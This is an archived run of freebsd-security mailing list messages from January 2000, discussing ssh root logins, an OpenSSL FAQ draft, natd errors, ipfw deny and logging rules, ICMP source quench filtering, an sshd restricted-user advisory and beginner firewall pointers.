2000 22:29:57 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.11 #1) id 12DiQA-0000PO-00; Thu, 27 Jan 2000 08:28:46 +0200 From: Sheldon Hearn To: Todd Backman Cc: Bill Swingle , security@FreeBSD.ORG Subject: Re: root authorized_keys ignore? In-reply-to: Your message of "Wed, 26 Jan 2000 12:08:34 PST." Date: Thu, 27 Jan 2000 08:28:44 +0200 Message-ID: <1573.948954524@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 26 Jan 2000 12:08:34 PST, Todd Backman wrote: > just the use of authorized_keys... just want to combat the > "lazy-admin-syndrome" ;^) Actually, it looks like you're trying to work around existing laziness, rather than stomp on it. So far, all the suggestions I've seen offered in public are not fool-proof. :-) Just disable root logins with ssh altogether and have your admins log in with user accounts and su to root. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jan 26 22:35:28 2000 Delivered-To: freebsd-security@freebsd.org Received: from rowdy.panther.net (rowdy.panther.net [209.197.223.18]) by hub.freebsd.org (Postfix) with ESMTP id 0EC211501C; Wed, 26 Jan 2000 22:35:23 -0800 (PST) (envelope-from kward@panther.net) Received: from localhost (2356 bytes) by rowdy.panther.net via sendmail with P:stdio/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) (ident using unix) id for ; Thu, 27 Jan 2000 00:35:37 -0600 (CST) (Smail-3.2.0.109 1999-Oct-27 #2 built 1999-Dec-30) Message-Id: From: kward@panther.net (Keith Ward) Subject: Re: OpenSSL docs for FAQ In-Reply-To: from Kris Kennaway at "Jan 25, 2000 00:49:04 am" To: Kris Kennaway Date: Thu, 27 Jan 2000 00:35:37 -0600 (CST) Cc: current@freebsd.org, security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL61 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Only recommendation I might pass on is being consistant in the use of "USA" instead of "US". The document starts off with references to "USA" and then changes to "US". Following the custom used in current crypto source (i.e. "USA_RESIDENT" in make.conf) I would suggest using "USA". Keith According to the writings of Kris Kennaway > > Can people please review this for style and content, for inclusion in > the FAQ? I'll also need someone to mark it up once it's ready since SGML > is currently not among my abilities :-) > [ ... ] > > However, some of the algorithms (specifically, RSA and IDEA) included > in OpenSSL are protected by patents in the USA and elsewhere and are > not available for unrestricted use. In addition, export of > cryptographic code from the USA has (until recently) been heavily > restricted. As a result, FreeBSD has available three different > versions of OpenSSL depending on geographical location (US/non-US) and > compliance with the RSAREF license (see below). [ ... ] > People who are located outside the USA, and who obtain their crypto > sources from internat.freebsd.org (the International Crypto > Repository), will build a version of OpenSSL which includes RSA, but > does not include IDEA, because the latter is restricted in certain > locations elsewhere in the world. In the future a more flexible > identification system may allow building of IDEA in countries for > which it is not restricted. > > US USERS: ^^ (and others follow throughout the remainder of the doc) -- Keith Ward N5OOD kward@Panther.net ...!rwsys!rowdy!kward =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= I don't suffer from insanity, I enjoy every minute of it. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 0:20:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by hub.freebsd.org (Postfix) with ESMTP id 5FBA7155CA for ; Thu, 27 Jan 2000 00:20:34 -0800 (PST) (envelope-from madscientist@thegrid.net) Received: from remus ([63.193.246.169]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with SMTP id <0FOZ00HVYIZ5M7@mta1.snfc21.pbi.net> for freebsd-security@freebsd.org; Thu, 27 Jan 2000 00:16:18 -0800 (PST) Date: Thu, 27 Jan 2000 00:16:55 -0800 From: The Mad Scientist Subject: Re: Riddle me this In-reply-to: <200001270355.UAA01355@lariat.lariat.org> X-Sender: i289861@mail.thegrid.net To: freebsd-security@freebsd.org Message-id: <4.1.20000127000531.0096ab30@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 08:55 PM 1/26/00 -0700, you wrote: >Jan 26 15:23:49 victim natd[125]: failed to write packet back (No route to >host) > >Maybe I'm just dense this evening and the cause of the message is obvious, but >I can't figure out what would have generated this message. The system has a >static default route to the upstream ISP's router. > >Is this a side effect of the rules I added? Or of something else? > >--Brett Glass This is an entirely different issue AFAIK. If you see some correlation, change the rules to 00049 deny log ip from 224.0.0.0/4 to any via any 00050 deny log ip from any to 224.0.0.0/4 via any and see if you get any messages in syslog just before the failure messages. Natd on my router has gone out to lunch like this a few times in the year or so that I have been running. I am not sure what caused it -- possibly me hammering the connection (and my poor no-math-coprocesser-having 486 firewall) or my upstream router deciding that it didn't like my traffic for a while. I have an inkling that it was Pac Bell's routers, but I can not confirm that. I'm waiting for it to do that again, so I can truss natd or test the connection on my windows machine. At any rate, I like logging on most of my deny rules. You see all kinds of neat stuff even on a home DSL connection. -Dean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 0:29:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by hub.freebsd.org (Postfix) with ESMTP id CECED14D39 for ; Thu, 27 Jan 2000 00:29:36 -0800 (PST) (envelope-from madscientist@thegrid.net) Received: from remus ([63.193.246.169]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with SMTP id <0FOZ007Q2JE4SX@mta1.snfc21.pbi.net> for freebsd-security@freebsd.org; Thu, 27 Jan 2000 00:25:17 -0800 (PST) Date: Thu, 27 Jan 2000 00:22:03 -0800 From: The Mad Scientist Subject: Re: sshd and pop/ftponly users incorrect configuration In-reply-to: X-Sender: i289861@mail.thegrid.net To: Marc SCHAEFER Cc: freebsd-security@freebsd.org Message-id: <4.1.20000127001817.00938470@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:30 AM 1/25/00 +0100, you wrote: >NAME > sshd-restricted-users-incorrect-configuration > >AUTHOR > Marc SCHAEFER > Andreas Trottmann >IMMUNE CONFIGURATIONS > You are immune to this problem if one (or more) of the following > is true: > > - the group(s) where those users belong to is listed in > /etc/ssh/sshd_config or equivalent configuration file as > DenyGroups group1 group2 # etc > (this is the recommended setup) > > - no user which has an account hasn't a shell (he will be able > to do the above, except the root@ IDENT, anyway, if he has a shell) This line is a little confusing to me. Do you mean every user with an account has no shell? What do you mean by account? (pop?) And who is 'he'? -Dean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 2:34:41 2000 Delivered-To: freebsd-security@freebsd.org Received: from pouet.noc.fr.clara.net (glou.noc.fr.clara.net [212.43.195.29]) by hub.freebsd.org (Postfix) with ESMTP id EF3BB15202 for ; Thu, 27 Jan 2000 02:34:37 -0800 (PST) (envelope-from sameh@fr.clara.net) Received: by pouet.noc.fr.clara.net (Postfix, from userid 1000) id F28FE184; Thu, 27 Jan 2000 11:33:32 +0100 (CET) Date: Thu, 27 Jan 2000 11:33:31 +0100 From: Sameh Ghane To: Brett Glass Cc: security@FreeBSD.ORG Subject: Re: Riddle me this Message-ID: <20000127113330.A34644@noc.fr.clara.net> References: <200001270355.UAA01355@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0.1i In-Reply-To: <200001270355.UAA01355@lariat.lariat.org>; from brett@lariat.org on Wed, Jan 26, 2000 at 08:55:50PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Le Wed, Jan 26, 2000 at 08:55:50PM -0700, Brett Glass écrivit: > 00049 deny ip from 224.0.0.0/4 to any via any > 00050 deny ip from any to 224.0.0.0/4 via any > > So far, so good. But a couple of days later, when I checked the logs, I saw: > > Jan 26 15:23:49 victim natd[125]: failed to write packet back (No route to host) > > Maybe I'm just dense this evening and the cause of the message is obvious, but > I can't figure out what would have generated this message. The system has a > static default route to the upstream ISP's router. > > Is this a side effect of the rules I added? Or of something else? No, you would have get a "Permission denied" error message. Try to hack /usr/src/sbin/natd/natd.c and especially the 'FlushPacketBuffer' function to see which IP adress are implicated. -- Sameh Ghane To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 4:56: 1 2000 Delivered-To: freebsd-security@freebsd.org Received: from public.bta.net.cn (public.bta.net.cn [202.96.0.97]) by hub.freebsd.org (Postfix) with ESMTP id B0C98153DD for ; Thu, 27 Jan 2000 04:55:53 -0800 (PST) (envelope-from robinson@netrinsics.com) Received: from netrinsics.com (robinson@gj-13-023.bta.net.cn [202.106.13.23]) by public.bta.net.cn (8.9.3/8.9.3) with ESMTP id UAA15496 for ; Thu, 27 Jan 2000 20:55:46 +0800 (CST) Received: (from robinson@localhost) by netrinsics.com (8.9.3/8.9.3) id UAA28713 for freebsd-security@freebsd.org; Thu, 27 Jan 2000 20:56:19 +0800 (+0800) (envelope-from robinson) Date: Thu, 27 Jan 2000 20:56:19 +0800 (+0800) From: Michael Robinson Message-Id: <200001271256.UAA28713@netrinsics.com> To: freebsd-security@freebsd.org Subject: opinions on source quench Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org What is the prevailing opinion on accepting ICMP source quench? Which is greater, the danger of a spoofed DoS attack, or the danger of overloading some hapless downstream network node? -Michael Robinson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 7:42:54 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id 9F0AE15603 for ; Thu, 27 Jan 2000 07:42:51 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id IAA05776; Thu, 27 Jan 2000 08:42:47 -0700 (MST) Message-Id: <4.2.2.20000127083643.03d86560@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 27 Jan 2000 08:40:12 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: Riddle me this Cc: security@FreeBSD.ORG In-Reply-To: <200001270425.UAA18744@apollo.backplane.com> References: <200001270355.UAA01355@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:25 PM 1/26/2000 , Matthew Dillon wrote: > Well, certainly the 'failed to write packet back' has nothing to do > with the icmp bandwidth limiting -- the bandwidth limiting drops packets, > the sender would not see an error. Also, the bandwidth limiting only > drops kernel-generated icmp response packets for certain specific cases > unrelated to NAT. That's what I figured. The question, though, is what sort of attack or condition WOULD have caused the error. The machines behind this one are relatively safe because they're not addressable thanks to NAT. > What likely occured in the Jan 24 logs was some sort of continuous > problem for the time range indicated (19:18:59 -> 19:20:15), but only > exceeding the 100 pps threshold at a couple of points during that > period. Could be. I figure that the "continuous problem" was likely to have been an attack. The upstream link was down for several hours that week, and in fact the *backbone provider* was experiencing outages. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 7:42:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id B584C1553E for ; Thu, 27 Jan 2000 07:42:55 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id IAA05787; Thu, 27 Jan 2000 08:42:51 -0700 (MST) Message-Id: <4.2.2.20000127084138.0454fba0@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 27 Jan 2000 08:42:40 -0700 To: The Mad Scientist , freebsd-security@FreeBSD.ORG From: Brett Glass Subject: Re: Riddle me this In-Reply-To: <4.1.20000127000531.0096ab30@mail.thegrid.net> References: <200001270355.UAA01355@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 01:16 AM 1/27/2000 , The Mad Scientist wrote: >At any rate, I like logging on most of my deny rules. You see all kinds of >neat stuff even on a home DSL connection. Good idea! So long as logging is rate-limited, this might be fun. Does one have to add anything to syslogd.conf to get the log messages from ipfw to appear in /var/log/messages? --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 8:17: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id 94A3A15684 for ; Thu, 27 Jan 2000 08:17:01 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id KAA03250; Thu, 27 Jan 2000 10:19:15 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Thu, 27 Jan 2000 10:19:15 -0600 (CST) From: Gene Harris To: Brett Glass Cc: The Mad Scientist , freebsd-security@FreeBSD.ORG Subject: Re: Riddle me this In-Reply-To: <4.2.2.20000127084138.0454fba0@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I prefer a slightly different approach. My syslog.conf file contains the two lines: !ipfw *.* /var/log/ipfw I like to keep the ipfw stuff separate, because I have a nightly procedure that copies the daily logs to NT, rolls them into an Access MDB file and then rolls over the log. If you keep your ipfw messages separate, they are a lot easier to study in a spreadsheet or a local database. For instant viewing, I have created an additional entry in xlogmaster to keep an eye on ipfw. I am working on a script to roll them into a dbf file to load into StarOffice on a nightly or weekly basis. *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* On Thu, 27 Jan 2000, Brett Glass wrote: > At 01:16 AM 1/27/2000 , The Mad Scientist wrote: > > >At any rate, I like logging on most of my deny rules. You see all kinds of > >neat stuff even on a home DSL connection. > > Good idea! So long as logging is rate-limited, this might be fun. > > Does one have to add anything to syslogd.conf to get the log messages from > ipfw to appear in /var/log/messages? > > --Brett > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 8:51: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from pau-amma.whistle.com (pau-amma.whistle.com [207.76.205.64]) by hub.freebsd.org (Postfix) with ESMTP id 3359B15659 for ; Thu, 27 Jan 2000 08:51:08 -0800 (PST) (envelope-from dhw@whistle.com) Received: (from dhw@localhost) by pau-amma.whistle.com (8.9.2/8.9.2) id IAA23459 for freebsd-security@FreeBSD.ORG; Thu, 27 Jan 2000 08:51:07 -0800 (PST) Date: Thu, 27 Jan 2000 08:51:07 -0800 (PST) From: David Wolfskill Message-Id: <200001271651.IAA23459@pau-amma.whistle.com> To: freebsd-security@FreeBSD.ORG Subject: Re: Riddle me this In-Reply-To: <4.2.2.20000127084138.0454fba0@localhost> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Date: Thu, 27 Jan 2000 08:42:40 -0700 >From: Brett Glass >>At any rate, I like logging on most of my deny rules. You see all kinds of >>neat stuff even on a home DSL connection. [Public, this time -- dhw] Confirmed. Both at home and for my mother's firewall. Correlating the port scans is interesting in and of itself. (We're both using Pac*Bell/PBI, but she's in a community about 30 miles north of my place.) >Good idea! So long as logging is rate-limited, this might be fun. >Does one have to add anything to syslogd.conf to get the log messages from >ipfw to appear in /var/log/messages? I didn't. (My firewall box has no keyboard or monitor attached normally.) But I also sent all syslogging for the firewall "over the wall" to an internal box; were I slightly more paranoid, I'd try dealing with the serial console stuff, but that hasn't appeared to be necessary just yet. Cheers, david -- David Wolfskill dhw@whistle.com UNIX System Administrator voice: (650) 577-7158 pager: (888) 347-0197 FAX: (650) 372-5915 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 9:57: 9 2000 Delivered-To: freebsd-security@freebsd.org Received: from funky.monkey.org (funky.monkey.org [63.77.239.13]) by hub.freebsd.org (Postfix) with ESMTP id A280F15704 for ; Thu, 27 Jan 2000 09:57:06 -0800 (PST) (envelope-from dugsong@monkey.org) Received: by funky.monkey.org (Postfix, from userid 1001) id 5CA91151F3; Thu, 27 Jan 2000 12:56:56 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by funky.monkey.org (Postfix) with ESMTP id 4CC5014A01; Thu, 27 Jan 2000 12:56:56 -0500 (EST) Date: Thu, 27 Jan 2000 12:56:56 -0500 (EST) From: Dug Song To: Michael Robinson Cc: freebsd-security@freebsd.org Subject: Re: opinions on source quench In-Reply-To: <200001271256.UAA28713@netrinsics.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000, Michael Robinson wrote: > What is the prevailing opinion on accepting ICMP source quench? > > Which is greater, the danger of a spoofed DoS attack, or the danger of > overloading some hapless downstream network node? to spoof ICMP source quenches correctly, an attacker must be able to sniff your packets to quote them in the forged reply. but if they can do this, they can just as easily forge correct TCP RSTs. see the tcpnice, tcpkill programs from dsniff for sample code: http://www.monkey.org/~dugsong/dsniff/ TCP has its own congestion control, and i don't know of any applications using UDP that honor source quenches. my guess is that it would probably be safe to filter them, but YMMV. -d. --- http://www.monkey.org/~dugsong/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 10: 8:30 2000 Delivered-To: freebsd-security@freebsd.org Received: from vulcan.alphanet.ch (sitebco-home-5-17.urbanet.ch [194.38.85.209]) by hub.freebsd.org (Postfix) with ESMTP id 5B9D5156A5 for ; Thu, 27 Jan 2000 10:08:16 -0800 (PST) (envelope-from schaefer@alphanet.ch) Received: from localhost (schaefer@localhost) by vulcan.alphanet.ch (8.9.3/8.9.3) with ESMTP id TAA24974; Thu, 27 Jan 2000 19:08:04 +0100 Date: Thu, 27 Jan 2000 19:08:04 +0100 (MET) From: Marc SCHAEFER To: The Mad Scientist Cc: freebsd-security@freebsd.org Subject: Re: sshd and pop/ftponly users incorrect configuration In-Reply-To: <4.1.20000127001817.00938470@mail.thegrid.net> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000, The Mad Scientist wrote: > > - no user which has an account hasn't a shell (he will be able > > to do the above, except the root@ IDENT, anyway, if he has a shell) > > This line is a little confusing to me. Do you mean every user with an > account has no shell? What do you mean by account? (pop?) And who is 'he'? If the user has a shell (e.g. bash, tcsh), he can connect to any host on the Internet anyway (unless some socket restrictions were set up, I don't know if this is available in FreeBSD). The only difference is that he won't be able to fake the IDENT. If he has /bin/false as shell (ie he hasn't a shell, but accessed POP and/or FTP), he can issue TCP connections appearing from the host unless DenyGroups or other security steps are taken. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 10:13:58 2000 Delivered-To: freebsd-security@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 6ECF115704 for ; Thu, 27 Jan 2000 10:13:54 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA24822; Thu, 27 Jan 2000 10:13:41 -0800 (PST) (envelope-from dillon) Date: Thu, 27 Jan 2000 10:13:41 -0800 (PST) From: Matthew Dillon Message-Id: <200001271813.KAA24822@apollo.backplane.com> To: Dug Song Cc: Michael Robinson , freebsd-security@FreeBSD.ORG Subject: Re: opinions on source quench References: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You can filter source quenches, they're essentially useless these days because they aren't route-oriented. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 10:32: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from adsl-216-103-213-248.dsl.snfc21.pacbell.net (adsl-216-103-213-248.dsl.snfc21.pacbell.net [216.103.213.248]) by hub.freebsd.org (Postfix) with SMTP id A74A415513 for ; Thu, 27 Jan 2000 10:32:05 -0800 (PST) (envelope-from jsoule@webcrossing.com) Received: (qmail 9510 invoked from network); 27 Jan 2000 18:32:05 -0000 Received: from unknown (HELO localhost.localdomain) (10.0.0.103) by adsl-216-103-213-248.dsl.snfc21.pacbell.net with SMTP; 27 Jan 2000 18:32:05 -0000 From: Jeffery Soule Date: Thu, 27 Jan 2000 18:32:05 GMT Message-ID: <20000127.18320500@localhost.localdomain> Subject: Firewalls To: freebsd-security@FreeBSD.ORG X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.1; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------=_4D48009D7A1008A6D608" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --------------=_4D48009D7A1008A6D608 Content-Description: filename="text1.txt" Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Greetings, I am looking for a starting point to learn about setting up a firewall=20 on FreeBSD 3.3. Any pointers would be GREATLY appreciated! Thanks, /Jeff --------------=_4D48009D7A1008A6D608 Content-Description: filename="text1.html" Content-Type: text/html Content-Transfer-Encoding: quoted-printable Firewalls

Greetings,

I am looking for a starting point to learn about setting up a firewall on FreeBSD 3.3. Any pointers would be GREATLY appreciated!

=

Thanks,

/Jeff

--------------=_4D48009D7A1008A6D608-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 10:36:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id AB873156CE for ; Thu, 27 Jan 2000 10:36:42 -0800 (PST) (envelope-from mike@sentex.net) Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by vinyl.sentex.ca (8.9.3/8.9.3) with SMTP id NAA75469; Thu, 27 Jan 2000 13:36:29 -0500 (EST) (envelope-from mike@sentex.net) Message-Id: <3.0.5.32.20000127133413.01287d20@staff.sentex.ca> X-Sender: mdtpop@staff.sentex.ca X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Thu, 27 Jan 2000 13:34:13 -0500 To: Jeffery Soule , freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: Re: Firewalls In-Reply-To: <20000127.18320500@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 06:32 PM 1/27/00 GMT, Jeffery Soule wrote: > Greetings, I am looking for a starting point to learn about setting up >a firewall on FreeBSD 3.3. Any pointers would be GREATLY appreciated! >Thanks, /Jeff ipfw is the most basic one to start with, and then ipfilter is your next step. See /etc/rc.firewall for some examples. Also, have a look through the mailing list archives as there has been many useful threads on these topics in the past. the key words ipfw and ipfilter will yield a wealth of information and starting points. ---Mike ------------------------------------------------------------------------ Mike Tancsa, tel +1 519 651 3400 Network Administrator, mike@sentex.net Sentex Communications www.sentex.net Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 10:54:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from adsl-216-103-213-248.dsl.snfc21.pacbell.net (adsl-216-103-213-248.dsl.snfc21.pacbell.net [216.103.213.248]) by hub.freebsd.org (Postfix) with SMTP id EE08A14BEA for ; Thu, 27 Jan 2000 10:54:18 -0800 (PST) (envelope-from jsoule@webcrossing.com) Received: (qmail 12480 invoked from network); 27 Jan 2000 18:54:18 -0000 Received: from unknown (HELO localhost.localdomain) (10.0.0.103) by adsl-216-103-213-248.dsl.snfc21.pacbell.net with SMTP; 27 Jan 2000 18:54:18 -0000 From: Jeffery Soule Date: Thu, 27 Jan 2000 18:54:18 GMT Message-ID: <20000127.18541800@localhost.localdomain> Subject: Re: Firewalls To: Mike Tancsa Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <3.0.5.32.20000127133413.01287d20@staff.sentex.ca> References: <3.0.5.32.20000127133413.01287d20@staff.sentex.ca> X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.1; Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Cool, Thanks! /Jeff >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 1/27/00, 10:34:13 AM, Mike Tancsa wrote regarding=20 Re: Firewalls: > At 06:32 PM 1/27/00 GMT, Jeffery Soule wrote: > > Greetings, I am looking for a starting point to learn about setti= ng=20 up > >a firewall on FreeBSD 3.3. Any pointers would be GREATLY=20 appreciated! > >Thanks, /Jeff > ipfw is the most basic one to start with, and then ipfilter is your=20 next > step. See /etc/rc.firewall for some examples. Also, have a look=20 through > the mailing list archives as there has been many useful threads on=20 these > topics in the past. the key words ipfw and ipfilter will yield a=20 wealth of > information and starting points. > ---Mike >=20 ------------------------------------------------------------------------= > Mike Tancsa, tel +1 519 651= =20 3400 > Network Administrator, mike@sentex.net > Sentex Communications www.sentex.net= > Cambridge, Ontario Canada To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 10:54:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from testbed.baileylink.net (testbed.baileylink.net [63.71.213.24]) by hub.freebsd.org (Postfix) with ESMTP id AAFB414F27 for ; Thu, 27 Jan 2000 10:54:44 -0800 (PST) (envelope-from brad@testbed.baileylink.net) Received: (from brad@localhost) by testbed.baileylink.net (8.9.3/8.9.3) id MAA74964 for freebsd-security@freebsd.org; Thu, 27 Jan 2000 12:54:58 -0600 (CST) (envelope-from brad) Date: Thu, 27 Jan 2000 12:54:11 -0600 From: Brad Guillory To: freebsd-security@freebsd.org Subject: Re: Firewalls Message-ID: <20000127125410.D59733@baileylink.net> References: <20000127.18320500@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i X-Mailer: Mutt 1.0i In-Reply-To: <20000127.18320500@localhost.localdomain>; from jsoule@webcrossing.com on Thu, Jan 27, 2000 at 06:32:05PM +0000 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hopefully no one will shoot me, but I found that OpenBSD had some great examples for ipf rules. You can find them here: ftp://ftp.openbsd.org/pub/OpenBSD/src/share/ipf/ I looked around in my FreeBSD share directories but did not find them. I suggest that you look through the examples before trying to read the man pages. Luck, BMG On Thu, Jan 27, 2000 at 06:32:05PM +0000, Jeffery Soule wrote: > Greetings, > I am looking for a starting point to learn about setting up a firewall > on FreeBSD 3.3. Any pointers would be GREATLY appreciated! > Thanks, > /Jeff > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 11:22:40 2000 Delivered-To: freebsd-security@freebsd.org Received: from tetron02.tetronsoftware.com (ftp.tetronsoftware.com [208.236.46.106]) by hub.freebsd.org (Postfix) with ESMTP id 692E714E7E for ; Thu, 27 Jan 2000 11:22:37 -0800 (PST) (envelope-from zeus@tetronsoftware.com) Received: from tetron02.tetronsoftware.com (tetron02.tetronsoftware.com [208.236.46.106]) by 